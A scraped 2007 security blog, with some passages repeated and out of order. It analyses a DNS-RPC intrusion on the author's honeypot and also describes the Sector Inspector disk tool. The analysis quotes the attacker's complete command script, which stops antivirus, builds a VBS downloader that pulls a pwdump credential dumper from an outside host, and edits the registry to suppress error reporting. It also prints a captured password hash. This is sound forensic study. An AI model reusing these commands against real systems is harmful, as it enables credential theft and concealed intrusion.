Interesting, with these types of attacks I usually see .bat files being created this way, not vbs. This actually works to our advantage a little bit and I'll show why later. Let's rip the code apart to find out exactly what it tries to do. Adodb.stream provides a method for reading and writing files on a hard drive, so we know this code is going to either send or receive a file. The Microsoft.XMLHTTP object has many uses, one of which is to send a request to a website to update or pull down data. In our case, the next line in the code provides the answer to which this code is attempting to do. We see the GET request for pwdump.exe. Pwdump of course is used to dump the password hashes from the SAM on a windows machine. The code then instructs the system to write the data from the server to a file named pwdump.exe
Now on to the final portion of the commands.
cscript get.vbs
del get.vbs
if not exist pwdump.exe reg add HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v RpcProtocol /t REG_DWORD /d 4 /f
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v AllOrNone /t REG_DWORD /d 1 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v DoReport /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeKernelFaults /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeMicrosoftApps /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeWindowsApps /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeShutdownErrs /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v ShowUI /t REG_DWORD /d 0 /f 1>nul 2>nul
pwdump %RANDOM%
if not exist pwdump.exe taskkill /im dns.exe /f
del pwdump.exe
exit
Again, there's a lot going on here. The vbs script is executed, then deleted. I have yet to test the timing of this code, but one would think that the first line in the registry modification sections listed here wouldn't work.
if not exist pwdump.exe reg add HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v RpcProtocol /t REG_DWORD /d 4 /f
So what's going on here? well if pwdump doesn't exist, then use the Microsoft provided work around to plug the vulnerability that this attacker exploited! Brilliant.
This is the reinforcement phase of the attack cycle.
The next set of registry settings confused me at first. It made logical sense as to what was happening, but I'd never seen this before. This is the anti-detection technique I mentioned in Part I that may or may not be new, but it's new to me.
I asked myself what those keys actually do, and why would someone choose to configure them during an intrusion? Taking another trip down google lane, I ended up looking at this document
This document contains a description of the registry keys this attacker changed. The attacker instructs the victim to report All or Nothing(AllorNone), disable error reporting(doreport), exclude Kernel(OS) faults(includekernelfaults), disable Microsoft apps from reporting(IncludeMicrosoftApps), disable Windows apps from reporting(IncludeWindowsApps), disable shutdown reporting - you know the information screen you fill out when you don't shut down properly(IncludeShutdownErrs), and the attacker makes sure that if you're a user sitting at the console you don't see the error message that asks if you want to send the error report to microsoft(ShowUI) .
Very interesting. As I said before, I've never seen this used until now. Pwdump is then executed, dns is killed again(if it happened to have restarted itself I guess), and the script then exits the shell.
All that activity took from 22:09:45 to 22:10:17. That's a mere 32 seconds.
Before we dive off in to the corporal evidence, there's a little more environmental to be looked at. Remember the GET request to www.dit.net? Well, that occured at 22:10:01.
Here's that request and response:
GET /images/pwdump.exe HTTP/1.0
Accept: */*
UA-CPU: x86
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)
Host: www.dit.net
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
X-Powered-By: ASP.NET
Connection: keep-alive
Date: Sun, 22 Apr 2007 22:08:07 GMT
Content-Type: application/octet-stream
Accept-Ranges: bytes
Last-Modified: Sun, 22 Apr 2007 18:06:33 GMT
ETag: "809a98f5885c71:ade"
Content-Length: 90624
Pay attention to the user-Agent in the request. That's right, the request was made through Internet Explorer because of the ADODB.Stream object and the GET call using XML.HTTP. We can take note of this because we have a place to search when we investigate the victim - The IE history! Also take note that their time is a few minutes off from what we've recorded.
Addendum 4/29
Harlan's link to Robert Hensing's blog post on this subject is well worth the read. I was planning on saving that bit of info for the next post in the series, but Harlan is spot on - We'll find a copy of pwdump and the history of this visit in the temporary internet files and index.dat of the Default User profile.
This stream contained some interesting information about the pwdump.exe binary.
Here's some strings from the transfer:
...%c:\....** LARGEST DRIVE IS %c: WITH %I64uGB **
....SYSTEM\CurrentControlSet\Services\DNS\Parameters....RpcProtocol.DNS.EXE.** UNABLE TO KILL DNS.EXE **
...** DNS HOLE FIXED **
...** UPLOAD MODE **
...Unable to find lsass.exe PID
...Failed enabling Debug privilege. Proceeding anyway
....** PWDUMP PRIVATE MOD **
...** - ONLY DUMP ADMINS **
...** - NO SEPERATE DLL **
hmmm, a private mod of pwdump that only dumps the admin password hash and doesn't require a separate dll. Technically I could recover the binary from the packet capture for analysis, but I'll grab it from the victim.
Needless to say the hash was offloaded at 22:10:01 as we can see here:
Administrator:500:bec4f90f3c1c505caad4b435b51404ee:b5a256f8405decc2d817a6f915db2f0a:::
There was further corroboration from the anomaly detection system regarding the pwdump execution and the beginning of the script that reinforced the attackers control over my system.
At this point, we've established Time-0, and have some information that will inform our investigation of the victim system.
To summarize, we know there was a pwdump.exe transferred and executed. We know a vbs script was created and executed, and we know how the attacker took over and plans on keeping hidden from us.
We suspect that the registry modifications were successful, we also suspect that we can find evidence in places the attacker didn't think of. This is also where we look at anamnestic or behavioral evidence for clues. We know that this system was running a dns server. We also saw the attacker attempt to kill the dns service as well as stop the mcshield service. Given this we should expect to find traces in the event log. We also have a binary to investigate.
There is always the unexpected to take in to account, so the investigation will include everything I can get my hands on.
All told, after the code executed and then exited, the attacker disappeared and has not returned to the system as of today. I can only speculate that they are out there collecting more administrator passwords and cracking them, but this was a drive-by exploitation that took a grand total of 55 seconds from incursion to extraction(18:09:22-18:10:17). Sometimes that's the only window we have to detect a compromise.
I'll continue to examine the corporal evidence and if anyone has thoughts about the errorreporting keys, or if you've seen them used in this manner before, I'm all ears. Thoughts, questions and comments are always welcome.
In the last entry I started by establishing Time-0 using Environmental evidence. Now I'd like to detail some information relating to Environmental evidence and Corporal evidence using Environmental evidence to inform the decision making of the Corporal investigation.
As part of the exploit that overtook my honeypot - A windows server 2003 domain controller running service pack 1, the attacker opened a reverse shell to a different host than the one that exploited my system.
Still using environmental evidence we see the following:
22:09:45.996675 IP 10.10.62.102.2434 > 70.84.11.196.1919: S 1688673751:1688673
751(0) win 65535
At 22:10:17 we see the final RST/ACK between these two systems. So, what happened during that time?
A lot actually and here's the content of the conversation.
if exist ..\dbg0.log taskkill /im dns.exe /f>nul
if exist ..\dbg0.log exit
if exist \x.tmp taskkill /im dns.exe /f>nul
if exist \x.tmp exit
type nul>..\dbg0.log
net stop mcshield
echo Set sGet = CreateObject("ADODB.Stream") >get.vbs
echo sGet.Mode = 3 >>get.vbs
echo If 1=1 Then >>get.vbs
echo Set xPost = CreateObject("Microsoft.XMLHTTP")>>get.vbs
echo xPost.Open "GET","http://www.dit.net/images/pwdump.exe",0 >>get.vbs
echo End If >>get.vbs
echo sGet.Type = 1 >>get.vbs
echo sGet.Open() >>get.vbs
echo If 1=1 Then >>get.vbs
echo xPost.Send() >>get.vbs
echo End If >>get.vbs
echo sGet.Write(xPost.responseBody) >>get.vbs
echo sGet.SaveToFile "pwdump.exe",2 >>get.vbs
cscript get.vbs
del get.vbs
if not exist pwdump.exe reg add HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v RpcProtocol /t REG_DWORD /d 4 /f
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v AllOrNone /t REG_DWORD /d 1 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v DoReport /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeKernelFaults /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeMicrosoftApps /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeWindowsApps /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeShutdownErrs /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v ShowUI /t REG_DWORD /d 0 /f 1>nul 2>nul
pwdump %RANDOM%
if not exist pwdump.exe taskkill /im dns.exe /f
del pwdump.exe
exit
There's a lot going on there. Let's break it down from the top.
if exist ..\dbg0.log taskkill /im dns.exe /f>nul
if exist ..\dbg0.log exit
if exist \x.tmp taskkill /im dns.exe /f>nul
if exist \x.tmp exit
type nul>..\dbg0.log
net stop mcshield
Ok, pretty simple right? If a file named dbg.0 or x.tmp exists, kill the dns service using taskkill. We know this because the /im flag is to kill a service and /f is force. All output is redirected to the bitbucket. The attacker then tries to stop the mcshield service - which is a Mcafee service. Unfortunately for our friend, there was no mcshield service running as my system replied:
System error 1060 has occurred.
The specified service does not exist as an installed service.
On to the next chunk.
echo Set sGet = CreateObject("ADODB.Stream") >get.vbs
echo sGet.Mode = 3 >>get.vbs
echo If 1=1 Then >>get.vbs
echo Set xPost = CreateObject("Microsoft.XMLHTTP")>>get.vbs
echo xPost.Open "GET","http://www.dit.net/images/pwdump.exe",0 >>get.vbs
echo End If >>get.vbs
echo sGet.Type = 1 >>get.vbs
echo sGet.Open() >>get.vbs
echo If 1=1 Then >>get.vbs
echo xPost.Send() >>get.vbs
echo End If >>get.vbs
echo sGet.Write(xPost.responseBody) >>get.vbs
echo sGet.SaveToFile "pwdump.exe",2 >>get.vbs
Interesting, with these types of attacks I usually see .bat files being created this way, not vbs. This actually works to our advantage a little bit and I'll show why later. Let's rip the code apart to find out exactly what it tries to do. Adodb.stream provides a method for reading and writing files on a hard drive, so we know this code is going to either send or receive a file. The Microsoft.XMLHTTP object has many uses, one of which is to send a request to a website to update or pull down data. In our case, the next line in the code provides the answer to which this code is attempting to do. We see the GET request for pwdump.exe. Pwdump of course is used to dump the password hashes from the SAM on a windows machine. The code then instructs the system to write the data from the server to a file named pwdump.exe
Now on to the final portion of the commands.
cscript get.vbs
del get.vbs
if not exist pwdump.exe reg add HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v RpcProtocol /t REG_DWORD /d 4 /f
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v AllOrNone /t REG_DWORD /d 1 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v DoReport /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeKernelFaults /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeMicrosoftApps /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeWindowsApps /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeShutdownErrs /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v ShowUI /t REG_DWORD /d 0 /f 1>nul 2>nul
pwdump %RANDOM%
if not exist pwdump.exe taskkill /im dns.exe /f
del pwdump.exe
exit
Again, there's a lot going on here. The vbs script is executed, then deleted. I have yet to test the timing of this code, but one would think that the first line in the registry modification sections listed here wouldn't work.
if not exist pwdump.exe reg add HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v RpcProtocol /t REG_DWORD /d 4 /f
So what's going on here? well if pwdump doesn't exist, then use the Microsoft provided work around to plug the vulnerability that this attacker exploited! Brilliant.
This is the reinforcement phase of the attack cycle.
The next set of registry settings confused me at first. It made logical sense as to what was happening, but I'd never seen this before. This is the anti-detection technique I mentioned in Part I that may or may not be new, but it's new to me.
I asked myself what those keys actually do, and why would someone choose to configure them during an intrusion? Taking another trip down google lane, I ended up looking at this document
This document contains a description of the registry keys this attacker changed. The attacker instructs the victim to report All or Nothing(AllorNone), disable error reporting(doreport), exclude Kernel(OS) faults(includekernelfaults), disable Microsoft apps from reporting(IncludeMicrosoftApps), disable Windows apps from reporting(IncludeWindowsApps), disable shutdown reporting - you know the information screen you fill out when you don't shut down properly(IncludeShutdownErrs), and the attacker makes sure that if you're a user sitting at the console you don't see the error message that asks if you want to send the error report to microsoft(ShowUI) .
Very interesting. As I said before, I've never seen this used until now. Pwdump is then executed, dns is killed again(if it happened to have restarted itself I guess), and the script then exits the shell.
All that activity took from 22:09:45 to 22:10:17. That's a mere 32 seconds.
Before we dive off in to the corporal evidence, there's a little more environmental to be looked at. Remember the GET request to www.dit.net? Well, that occured at 22:10:01.
Here's that request and response:
GET /images/pwdump.exe HTTP/1.0
Accept: */*
UA-CPU: x86
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)
Host: www.dit.net
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
X-Powered-By: ASP.NET
Connection: keep-alive
Date: Sun, 22 Apr 2007 22:08:07 GMT
Content-Type: application/octet-stream
Accept-Ranges: bytes
Last-Modified: Sun, 22 Apr 2007 18:06:33 GMT
ETag: "809a98f5885c71:ade"
Content-Length: 90624
Pay attention to the user-Agent in the request. That's right, the request was made through Internet Explorer because of the ADODB.Stream object and the GET call using XML.HTTP. We can take note of this because we have a place to search when we investigate the victim - The IE history! Also take note that their time is a few minutes off from what we've recorded.
Addendum 4/29
Harlan's link to Robert Hensing's blog post on this subject is well worth the read. I was planning on saving that bit of info for the next post in the series, but Harlan is spot on - We'll find a copy of pwdump and the history of this visit in the temporary internet files and index.dat of the Default User profile.
This stream contained some interesting information about the pwdump.exe binary.
Here's some strings from the transfer:
...%c:\....** LARGEST DRIVE IS %c: WITH %I64uGB **
....SYSTEM\CurrentControlSet\Services\DNS\Parameters....RpcProtocol.DNS.EXE.** UNABLE TO KILL DNS.EXE **
...** DNS HOLE FIXED **
...** UPLOAD MODE **
...Unable to find lsass.exe PID
...Failed enabling Debug privilege. Proceeding anyway
....** PWDUMP PRIVATE MOD **
...** - ONLY DUMP ADMINS **
...** - NO SEPERATE DLL **
hmmm, a private mod of pwdump that only dumps the admin password hash and doesn't require a separate dll. Technically I could recover the binary from the packet capture for analysis, but I'll grab it from the victim.
Needless to say the hash was offloaded at 22:10:01 as we can see here:
Administrator:500:bec4f90f3c1c505caad4b435b51404ee:b5a256f8405decc2d817a6f915db2f0a:::
There was further corroboration from the anomaly detection system regarding the pwdump execution and the beginning of the script that reinforced the attackers control over my system.
At this point, we've established Time-0, and have some information that will inform our investigation of the victim system.
To summarize, we know there was a pwdump.exe transferred and executed. We know a vbs script was created and executed, and we know how the attacker took over and plans on keeping hidden from us.
We suspect that the registry modifications were successful, we also suspect that we can find evidence in places the attacker didn't think of. This is also where we look at anamnestic or behavioral evidence for clues. We know that this system was running a dns server. We also saw the attacker attempt to kill the dns service as well as stop the mcshield service. Given this we should expect to find traces in the event log. We also have a binary to investigate.
There is always the unexpected to take in to account, so the investigation will include everything I can get my hands on.
All told, after the code executed and then exited, the attacker disappeared and has not returned to the system as of today. I can only speculate that they are out there collecting more administrator passwords and cracking them, but this was a drive-by exploitation that took a grand total of 55 seconds from incursion to extraction(18:09:22-18:10:17). Sometimes that's the only window we have to detect a compromise.
I'll continue to examine the corporal evidence and if anyone has thoughts about the errorreporting keys, or if you've seen them used in this manner before, I'm all ears. Thoughts, questions and comments are always welcome.
Analyzing an intrusion Part I - Establish Time-0
Recently I described a technique used by real world investigators to determine Time of Death for victims and how it could possibly be applied to digital investigations. I'd like to take some time to detail a recent compromise of one of my honeypots and take what may be viewed by some as theory, and put it in to practice.
Just when I thought all was quiet, someone decided to set off just about every alarm I had while using the recent RPC based DNS vulnerability as an attack vector. In addition to the sources of evidence I am searching through, I believe I have found an obscure technique used by attackers to hide their actions. I can't say whether this is a new technique or not, but I've never seen it attempted until now.
Let's start with what I know based on Environmental sources of evidence.
On Sunday Apr 22, 2007, I began receiving alerts from the honeynet indicating an incredibly sloppy port scan. I'll add some commentary in italics to this as I go on.
[**] [122:1:0] (portscan) TCP Portscan [**]
04/22-22:09:22.512490 198.64.140.203 -> 10.10.62.102
PROTO255 TTL:0 TOS:0x0 ID:61227 IpLen:20 DgmLen:160
Like most people, I thought "yeah big deal another port scan", but then again, this has been a dormant honeynet until now.
This is what NIST likes to call a precursor. If you've read their SP-800 docs on incident response, you'll understand. While precursors are commonly ignored, they should be filed away in the back of the incident responder or investigator's mind. In addition to this being a precursor, it's also the Reconnaisance phase of an attack cycle.
Again, recall what I learned in the Hacking By Numbers course - Speed vs stealth is the name of the game today.
Starting at Port 1 the attacker scanned every port on my Windows Server 2003 SP1 honeypot. This scan lasted all the way up until it reached tcp port 3439.
What was the objective for the scan? If you've read anything about the vulnerablity and subsequent exploits surrounding it, the typical attack will scan in search of the port that RPC interface for DNS is listening on so it can communicate with the DNS service. This is what allows SA's to use the MMC from another computer to access dnsmgmt.msc.
In this case RPC was listening on tcp port 1040, one of those ephemeral "magic ports".
Luckily, the bleeding snort rules caught this event.
[**] [1:2003592:1] BLEEDING-EDGE CURRENT EVENTS Vulnerable DNS RPC Bind [**]
[Priority: 0]
04/22-22:09:39.106014 198.64.140.203:4312 -> 10.10.62.102:1040
TCP TTL:113 TOS:0x0 ID:16339 IpLen:20 DgmLen:684 DF
***AP*** Seq: 0x5EBD95C1 Ack: 0xB000C175 Win: 0x4470 TcpLen: 20
[Xref => http://doc.bleedingthreats.net/bin/view/Main/MSRpcDns]
[**] [1:2003587:4] BLEEDING-EDGE CURRENT EVENTS MS DNS DCE-RPC Temporary Rule - Possible Attack [**]
[Classification: Attempted Administrator Privilege Gain] [Priority: 1]
04/22-22:09:39.106014 198.64.140.203:4312 -> 10.10.62.102:1040
TCP TTL:113 TOS:0x0 ID:16339 IpLen:20 DgmLen:684 DF
***AP*** Seq: 0x5EBD95C1 Ack: 0xB000C175 Win: 0x4470 TcpLen: 20
[Xref => http://isc.sans.org/diary.html?storyid=2627][Xref => http://erratasec.blogspot.com/2007/04/news-from-microsoft-dns-0day-being.html]
Now that we have some background information we can work on establishing Time-0.
According to the honeywall The scan began at 22:09:22 GMT. Port 1040 was re-visited at 22:09:39 GMT and the Shellcode was delivered through an RPC packet containing a bind request to get access to the following UUID: 50abc2a4-574d-40b3-9d66-ee4fd5fba076. This UUID just happens to be the DNS server. Once the exploit is is delivered, a reverse shell is opened. The final FIN sequence after the delivery of the exploit was at 22:09:51 GMT.
The attacker went from Recon to successful exploitation in 29 seconds!
Unfortunately, one source of evidence isn't enough. We need to be able to corroborate what was captured. Some folks upstream provided me with some data from their anomaly detection system. You'll notice a slight time skew between the two sources.
Sun Apr 22 18:09:42 2007 (local time)
198.64.140.203:4312<--TCP-->10.10.62.102:1040
................................;.$\.................]..........+.H`..........(.X
........t............m....1040...................................................
Now, it's a little confusing because the anomaly detection system decides what part of a packet to capture with it's own AI, but we can look at the content of the TCP stream of this flow to find out where it get's the information from.
This is the content of the bind request of the attacker. The honeywall picked it up at 22:09:39 GMT.
................................;.$\.................]..........+.H`..........(..
........t............m....1040...................................................
Looks pretty close doesn't it? The X in the packet from the anomaly detection system seems to be some form of marker or delimeter because it doesn't exist in the full capture I have. I'll be confirming this with the data providers.
Based on the Environmental evidence presented here and the corroborated data from the anomaly detection system we can establish Time-0 as falling between 22:09:39 GMT and 22:09:51 GMT.
As of now, I'm waiting for some netflow logs to be sent to me for further corroboration of the evidence.
Just when I thought all was quiet, someone decided to set off just about every alarm I had while using the recent RPC based DNS vulnerability as an attack vector. In addition to the sources of evidence I am searching through, I believe I have found an obscure technique used by attackers to hide their actions. I can't say whether this is a new technique or not, but I've never seen it attempted until now.
Let's start with what I know based on Environmental sources of evidence.
On Sunday Apr 22, 2007, I began receiving alerts from the honeynet indicating an incredibly sloppy port scan. I'll add some commentary in italics to this as I go on.
[**] [122:1:0] (portscan) TCP Portscan [**]
04/22-22:09:22.512490 198.64.140.203 -> 10.10.62.102
PROTO255 TTL:0 TOS:0x0 ID:61227 IpLen:20 DgmLen:160
Like most people, I thought "yeah big deal another port scan", but then again, this has been a dormant honeynet until now.
This is what NIST likes to call a precursor. If you've read their SP-800 docs on incident response, you'll understand. While precursors are commonly ignored, they should be filed away in the back of the incident responder or investigator's mind. In addition to this being a precursor, it's also the Reconnaisance phase of an attack cycle.
Again, recall what I learned in the Hacking By Numbers course - Speed vs stealth is the name of the game today.
Starting at Port 1 the attacker scanned every port on my Windows Server 2003 SP1 honeypot. This scan lasted all the way up until it reached tcp port 3439.
What was the objective for the scan? If you've read anything about the vulnerablity and subsequent exploits surrounding it, the typical attack will scan in search of the port that RPC interface for DNS is listening on so it can communicate with the DNS service. This is what allows SA's to use the MMC from another computer to access dnsmgmt.msc.
In this case RPC was listening on tcp port 1040, one of those ephemeral "magic ports".
Luckily, the bleeding snort rules caught this event.
[**] [1:2003592:1] BLEEDING-EDGE CURRENT EVENTS Vulnerable DNS RPC Bind [**]
[Priority: 0]
04/22-22:09:39.106014 198.64.140.203:4312 -> 10.10.62.102:1040
TCP TTL:113 TOS:0x0 ID:16339 IpLen:20 DgmLen:684 DF
***AP*** Seq: 0x5EBD95C1 Ack: 0xB000C175 Win: 0x4470 TcpLen: 20
[Xref => http://doc.bleedingthreats.net/bin/view/Main/MSRpcDns]
[**] [1:2003587:4] BLEEDING-EDGE CURRENT EVENTS MS DNS DCE-RPC Temporary Rule - Possible Attack [**]
[Classification: Attempted Administrator Privilege Gain] [Priority: 1]
04/22-22:09:39.106014 198.64.140.203:4312 -> 10.10.62.102:1040
TCP TTL:113 TOS:0x0 ID:16339 IpLen:20 DgmLen:684 DF
***AP*** Seq: 0x5EBD95C1 Ack: 0xB000C175 Win: 0x4470 TcpLen: 20
[Xref => http://isc.sans.org/diary.html?storyid=2627][Xref => http://erratasec.blogspot.com/2007/04/news-from-microsoft-dns-0day-being.html]
Now that we have some background information we can work on establishing Time-0.
According to the honeywall The scan began at 22:09:22 GMT. Port 1040 was re-visited at 22:09:39 GMT and the Shellcode was delivered through an RPC packet containing a bind request to get access to the following UUID: 50abc2a4-574d-40b3-9d66-ee4fd5fba076. This UUID just happens to be the DNS server. Once the exploit is is delivered, a reverse shell is opened. The final FIN sequence after the delivery of the exploit was at 22:09:51 GMT.
The attacker went from Recon to successful exploitation in 29 seconds!
Unfortunately, one source of evidence isn't enough. We need to be able to corroborate what was captured. Some folks upstream provided me with some data from their anomaly detection system. You'll notice a slight time skew between the two sources.
Sun Apr 22 18:09:42 2007 (local time)
198.64.140.203:4312<--TCP-->10.10.62.102:1040
................................;.$\.................]..........+.H`..........(.X
........t............m....1040...................................................
Now, it's a little confusing because the anomaly detection system decides what part of a packet to capture with it's own AI, but we can look at the content of the TCP stream of this flow to find out where it get's the information from.
This is the content of the bind request of the attacker. The honeywall picked it up at 22:09:39 GMT.
................................;.$\.................]..........+.H`..........(..
........t............m....1040...................................................
Looks pretty close doesn't it? The X in the packet from the anomaly detection system seems to be some form of marker or delimeter because it doesn't exist in the full capture I have. I'll be confirming this with the data providers.
Based on the Environmental evidence presented here and the corroborated data from the anomaly detection system we can establish Time-0 as falling between 22:09:39 GMT and 22:09:51 GMT.
As of now, I'm waiting for some netflow logs to be sent to me for further corroboration of the evidence.
Friday, April 6, 2007
Sector Inspector
While browsing around today I came across a *not so* highly advertised tool from Microsoft. It was a late addition to the Server 2003 resource kit called Sector Inspector. Before today, I had never heard of this tool and I've never seen in mentioned.
What the heck does it do?
Well, Microsoft explains it like this: SecInspect.exe is a command-line diagnostics tool that allows administrators to view the contents of master boot records, boot sectors, and IA64 GUID partition tables. Additional features include creating hex dumps of binary files and backup/restore of sector ranges. YES Linux does and has had this capability for...years.
Sounds kind of cool eh?
Let's see what this thing can do.
c:\Program Files\Windows Resource Kits\Tools>secinspect.exe -n
0001.033
Sector Inspector Copyright Microsoft Corporation 2003
===========================================================================
Target - \\.\PHYSICALDRIVE0
18241 Cylinders
255 Heads
63 Sectors Per Track
512 BytesPerSector
12 MediaType
===========================================================================
Master Boot Record
===========================================================================
| B | FS TYPE | START | END | | |
| F | (hex) | C H S| C H S| RELATIVE | TOTAL |
===========================================================================
| * | 07 | 0 1 1|1023 254 63| 63| 163846872|
| | 00 | 0 0 0| 0 0 0| 0| 0|
| | 00 | 0 0 0| 0 0 0| 0| 0|
| | 00 | 0 0 0| 0 0 0| 0| 0|
===========================================================================
Disk Signature 0xe0efe0ef
Partition #1 NTFS backup boot sector at LBN 163846934.
---------------------------------------------------------------------------
Primary Partition 1
NTFS BIOS Parameter Block Information
BytesPerSector : 512
Sectors Per Cluster : 8
ReservedSectors : 0
Fats : 0
RootEntries : 0
Small Sectors : 0 ( 0 MB )
Media Type : 248 ( 0xf8 )
SectorsPerFat : 0
SectorsPerTrack : 63
Heads : 255
Hidden Sectors : 63
Large Sectors : 0 ( 0 MB )
ClustersPerFRS : 246
Clust/IndxAllocBuf : 1
NumberSectors : 163846871 ( 80003.4 MB )
MftStartLcn : 786432
Mft2StartLcn : 10240429
SerialNumber : 6388384532698611716
Checksum : 0 (0x0)
---------------------------------------------------------------------------
Just that simple command spits out a bunch of useful information about the drives in your system(I am only showing you one of my drives).
The two pieces of text in bold are important for two different sets of people. The first - the disk signature is used to map a Physical drive to a logical drive letter. In the MBR it lives at offset 0x1b8 and is 4 bytes long, and it can also be found in the registry under the MountedDevices key. This is useful information for at least one major reason; Corroboration.
Here's a little scenario:
You seize a system and note that there is only one drive present in the system. You acquire an image of the disk and you note that the disk had two partitions (C: D:) and during analysis you look in HKLM\SYSTEM\MountedDevices. You see a DosDevice labeled \DosDevices\E:(assume that E: is actually on a different physical volume for this) but you know that you didn't find another disk in the system at the time. Looking at the first 4 bytes of the value for \DosDevices\E: you see the Disk Signature that looks like this:
0000 EF E0 EF E0
Now you know you're looking for a drive with a disk signature of EFE0EFE0. When you go back to the scene and search some more you find a disk buried in a drawer. After you image this disk, you run secinpsect -n and find that the disk signature matches the missing Volume and DosDevice Information in the registry. I know there are other tools that do this..but secinspect is free and we all like free.
The second bit of bolded text is useful for people wanting to restore corrupted or missing boot sectors.
Note that the tool also shows you the logical cluster number of where the MFT starts.
One other useful feature of the tool is you can convert 64Bit hex file times to UTC format. Take the Vista Backup Time I talked about previously and used Dcode to convert the timestamp.
That value 704ac9ebcc6dc701, was a 64 bit timestamp. Using secinspect I can convert the time via the commandline:
C:\Program Files\Windows Resource Kits\Tools\secinspect.exe -time 01c76dccebc94a70
0001.033
Sector Inspector Copyright Microsoft Corporation 2003
UTC TIME 03/24/2007 04:28:49.0994
That's pretty sweet.
What the heck does it do?
Well, Microsoft explains it like this: SecInspect.exe is a command-line diagnostics tool that allows administrators to view the contents of master boot records, boot sectors, and IA64 GUID partition tables. Additional features include creating hex dumps of binary files and backup/restore of sector ranges. YES Linux does and has had this capability for...years.
Sounds kind of cool eh?
Let's see what this thing can do.
c:\Program Files\Windows Resource Kits\Tools>secinspect.exe -n
0001.033
Sector Inspector Copyright Microsoft Corporation 2003
===========================================================================
Target - \\.\PHYSICALDRIVE0
18241 Cylinders
255 Heads
63 Sectors Per Track
512 BytesPerSector
12 MediaType
===========================================================================
Master Boot Record
===========================================================================
| B | FS TYPE | START | END | | |
| F | (hex) | C H S| C H S| RELATIVE | TOTAL |
===========================================================================
| * | 07 | 0 1 1|1023 254 63| 63| 163846872|
| | 00 | 0 0 0| 0 0 0| 0| 0|
| | 00 | 0 0 0| 0 0 0| 0| 0|
| | 00 | 0 0 0| 0 0 0| 0| 0|
===========================================================================
Disk Signature 0xe0efe0ef
Partition #1 NTFS backup boot sector at LBN 163846934.
---------------------------------------------------------------------------
Primary Partition 1
NTFS BIOS Parameter Block Information
BytesPerSector : 512
Sectors Per Cluster : 8
ReservedSectors : 0
Fats : 0
RootEntries : 0
Small Sectors : 0 ( 0 MB )
Media Type : 248 ( 0xf8 )
SectorsPerFat : 0
SectorsPerTrack : 63
Heads : 255
Hidden Sectors : 63
Large Sectors : 0 ( 0 MB )
ClustersPerFRS : 246
Clust/IndxAllocBuf : 1
NumberSectors : 163846871 ( 80003.4 MB )
MftStartLcn : 786432
Mft2StartLcn : 10240429
SerialNumber : 6388384532698611716
Checksum : 0 (0x0)
---------------------------------------------------------------------------
Just that simple command spits out a bunch of useful information about the drives in your system(I am only showing you one of my drives).
